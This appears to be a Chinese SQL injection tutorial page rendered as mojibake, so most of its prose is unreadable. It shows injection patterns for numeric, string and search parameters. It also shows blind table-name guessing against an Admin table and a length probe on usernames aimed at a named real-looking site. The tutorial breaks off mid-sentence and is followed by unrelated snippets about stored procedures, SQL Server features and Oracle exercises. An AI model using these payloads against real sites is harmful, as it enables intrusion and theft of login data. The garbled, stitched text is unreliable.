SQL×¢È멶´È«½Ó´¥
µÚÒ»½Ú¡¢SQL×¢ÈëµÄÒ»°ã²½Öè
Ê×ÏÈ£¬Åжϻ·¾³£¬Ñ°ÕÒ×¢Èëµã£¬ÅжÏÊý¾Ý¿âÀàÐÍ£¬ÕâÔÚÈëÃÅƪÒѾ½²¹ýÁË¡£
Æä´Î£¬¸ù¾Ý×¢Èë²ÎÊýÀàÐÍ£¬ÔÚÄÔº£ÖÐÖع¹SQLÓï¾äµÄÔò£¬°´²ÎÊýÀàÐÍÖ÷Òª·ÖΪÏÂÃæÈýÖÖ£º
(A) ID=49 ÕâÀà×¢ÈëµÄ²ÎÊýÊÇÊý×ÖÐÍ£¬SQLÓï¾äÔò´óÖÂÈçÏ£º
Select * from ±íÃû where ×Ö¶Î=49
×¢ÈëµÄ²ÎÊýΪID=49 And [²éѯÌõ¼þ]£¬¼´ÊÇÉú³ÉÓï¾ä£º
Select * from ±íÃû where ×Ö¶Î=49 And [²éѯÌõ¼þ]
(B) Class=Á¬Ðø¾ç ÕâÀà×¢ÈëµÄ²ÎÊýÊÇ×Ö·ûÐÍ£¬SQLÓï¾äÔò´óÖ¸ÅÈçÏ£º
Select * from ±íÃû where ×Ö¶Î=’Á¬Ðø¾ç’
×¢ÈëµÄ²ÎÊýΪClass=Á¬Ðø¾ç’ and [²éѯÌõ¼þ] and ‘’=’ £¬¼´ÊÇÉú³ÉÓï¾ä£º
Select * from ±íÃû where ×Ö¶Î=’Á¬Ðø¾ç’ and [²éѯÌõ¼þ] and ‘’=’’
(C) ËÑË÷ʱû¹ýÂ˲ÎÊýµÄ£¬Èçkeyword=¹Ø¼ü×Ö£¬SQLÓï¾äÔò´óÖÂÈçÏ£º
Select * from ±íÃû where ×Ö¶Îlike ’%¹Ø¼ü×Ö%’
×¢ÈëµÄ²ÎÊýΪkeyword=’ and [²éѯÌõ¼þ] and ‘%25’=’£¬ ¼´ÊÇÉú³ÉÓï¾ä£º
Select * from ±íÃû where×Ö¶Îlike ’%’ and [²éѯÌõ¼þ] and ‘%’=’%’
½Ó×Å£¬½«²éѯÌõ¼þÌæ»»³ÉSQLÓï¾ä£¬²Â½â±íÃû£¬ÀýÈ磺
ID=49 And (Select Count(*) from Admin)>=0
Èç¹ûÒ³Ãæ¾ÍÓëID=49µÄÏàͬ£¬ËµÃ÷¸½¼ÓÌõ¼þ³ÉÁ¢£¬¼´±íAdmin´æÔÚ£¬·´Ö®£¬¼´²»´æÔÚ£¨ÇëÀμÇÕâÖÖ·½·¨£©¡£Èç´ËÑ»·£¬Ö±ÖÁ²Âµ½±íÃûΪֹ¡£
±íÃû²Â³öÀ´ºó£¬½«Count(*)Ìæ»»³ÉCount(×Ö¶ÎÃû)£¬ÓÃͬÑùµÄÔÀí²Â½â×Ö¶ÎÃû¡£
ÓÐÈË»á˵£ºÕâÀïÓÐһЩżȻµÄ³É·Ö£¬Èç¹û±íÃûÆðµÃºÜ¸´ÔÓû¹æÂɵģ¬ÄǸù±¾¾ÍûµÃÍæÏÂÈ¥ÁË¡£ËµµÃºÜ¶Ô£¬ÕâÊÀ½ç¸ù±¾¾Í²»´æÔÚ100%³É¹¦µÄºÚ¿Í¼¼Êõ£¬²ÔÓ¬²»¶£ÎÞ·ìµÄµ°£¬ÎÞÂ۶༼Êõ¶à¸ßÉîµÄºÚ¿Í£¬¶¼ÊÇÒòΪ±ðÈ˵ijÌÐòдµÃ²»ÑÏÃÜ»òʹÓÃÕß±£ÃÜÒâʶ²»¹»£¬²ÅÓеÃÏÂÊÖ¡£
ÓеãÅÜÌâÁË£¬»°Ëµ»ØÀ´£¬¶ÔÓÚSQLServerµÄ¿â£¬»¹ÊÇÓа취ÈóÌÐò¸æËßÎÒÃDZíÃû¼°×Ö¶ÎÃûµÄ£¬ÎÒÃÇÔڸ߼¶ÆªÖлá×ö½éÉÜ¡£
×îºó£¬ÔÚ±íÃûºÍÁÐÃû²Â½â³É¹¦ºó£¬ÔÙʹÓÃSQLÓï¾ä£¬µÃ³ö×ֶεÄÖµ£¬ÏÂÃæ½éÉÜÒ»ÖÖ×î³£Óõķ½·¨£AsciiÖð×Ö½âÂë·¨£¬ËäÈ»ÕâÖÖ·½·¨ËٶȺÜÂý£¬µ«¿Ï¶¨ÊÇ¿ÉÐеķ½·¨¡£
ÎÒÃǾٸöÀý×Ó£¬ÒÑÖª±íAdminÖдæÔÚusername×ֶΣ¬Ê×ÏÈ£¬ÎÒÃÇÈ¡µÚÒ»Ìõ¼Ç¼£¬²âÊÔ³¤¶È£º
http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0
ÏÈ˵Ã÷ÔÀí£ºÈç¹ûtop 1µÄusername³¤¶È´óÓÚ0£¬ÔòÌõ¼þ³
Ïà¹ØÎĵµ£º
create PROCEDURE pagelist
@tablename nvarchar(50),
@fieldname nvarchar(50)='*',
@pagesize int output,--ÿҳÏÔʾ¼Ç¼ÌõÊý
@currentpage int output,--µÚ¼¸Ò³
@orderid nvarchar(50),--Ö÷¼üÅÅÐò
@sort int,--ÅÅÐò·½Ê½£¬1±íʾÉýÐò£¬0±íʾ½µÐòÅÅÁÐ
......
ÏÖÔÚ´ó¶àÊýÃèÊöSQL Server 2005ÐÂÌØÐÔµÄÎÄÕ¶¼¹Ø×¢ÓÚ»ª¶ø²»ÊµµÄÌØÐÔ£¬ÈçSQLCLR»òXMLÊý¾ÝÀàÐÍ£¬¶ø¶ÔÐí¶àºÜºÃµÄÀϵÄT-SQLÓïÑԵĸĽøûÓеõ½Ó¦ÓеĹØ×¢¡£ÎÒÔø¾´ÓÐí¶àDBA¿ÚÖÐÌýµ½ÁîËûÃǸüÐ˷ܵÄÊÇ¿´µ½T-SQLÓïÑԵĸĽø,¶ø²»ÊÇÄÇЩгöÏֺͷ¢²¼µÄ¹¦ÄÜ¡£¶ÔÓÚSQLÓïÑÔµÄÒ»¸öºÜÓÐÓõÄʵ¼Ê¸Ä½øÊÇOUTPUT×Ӿ䣬ËüÔÊÐí²éѯһ¸öÊý¾ ......
ÕýÔÚ¼ÓÔØÊý¾Ý...
¡¡¡¡1.°´ÐÕÊϱʻÅÅÐò: select * from TableName Order By CustomerName Collate Chinese_PRC_Stroke_ci_as
¡¡¡¡2.Êý¾Ý¿â¼ÓÃÜ: select encrypt(’ÔʼÃÜÂë’) select pwdencrypt(’ÔʼÃÜÂë’) select pwdcompare(’ÔʼÃÜÂë’,’¼ÓÃܺóÃÜÂë’) = 1--Ïàͬ£»·ñÔ ......
ʹÓÃscott/tigerÓû§ÏµÄemp±íºÍdept±íÍê³ÉÏÂÁÐÁ·Ï°£¬±íµÄ½á¹¹ËµÃ÷ÈçÏÂ
empÔ±¹¤±í(empnoÔ±¹¤ºÅ/enameÔ±¹¤ÐÕÃû/job¹¤×÷/mgrÉϼ¶±àºÅ/hiredateÊܹÍÈÕÆÚ/salн½ð/commÓ¶½ð/deptno²¿ÃűàºÅ)
dept²¿Ãűí(deptno²¿ÃűàºÅ/dname²¿ÃÅÃû³Æ/locµØµã)
¹¤×Ê £½ н½ð £« Ó¶½ð
1£®ÁгöÖÁÉÙÓÐÒ»¸öÔ±¹¤µÄËùÓв¿ÃÅ
2£®Áгöн½ð±È& ......